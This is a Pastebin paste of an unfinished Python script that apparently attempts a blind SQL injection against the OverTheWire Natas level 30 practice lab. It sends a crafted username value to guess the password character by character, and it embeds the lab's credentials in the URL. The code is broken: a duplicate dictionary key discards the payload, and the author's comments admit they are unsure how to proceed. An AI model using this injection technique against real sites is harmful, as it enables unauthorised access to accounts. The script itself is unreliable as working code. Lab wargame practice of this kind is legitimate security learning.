Advertisement
Guest User

Beginning of try

a guest
Dec 18th, 2017
369
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.82 KB | None | 0 0
  1. import requests
  2. import re
  3. import string
  4.  
  5.  
  6. CHAR_SET = string.ascii_letters + string.digits
  7. PASSWORD_LENGHT = 32
  8. session = requests.Session()
  9.  
  10. def natas30(url):
  11.     for char in CHAR_SET:
  12.         # I think it needs to be done like this,
  13.         # see https://stackoverflow.com/questions/40273267/is-perl-function-dbh-quote-still-secure
  14.         # But unsure how to proceed after this
  15.        
  16.         params={"username": 'natas30" and password like binary "{char}%', "username": 30, "password": "x"}
  17.         response = session.post(url, data=params)
  18.         if 'fail' in response.text:
  19.             print("FAILED")
  20.         else:
  21.             print(char)
  22.             print("SUCCES")
  23.  
  24. if __name__ == '__main__':
  25.     url = 'http://natas30:wie9iexae0Daihohv8vuu3cei9wahf0e@natas30.natas.labs.overthewire.org/'
  26.     natas30(url)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement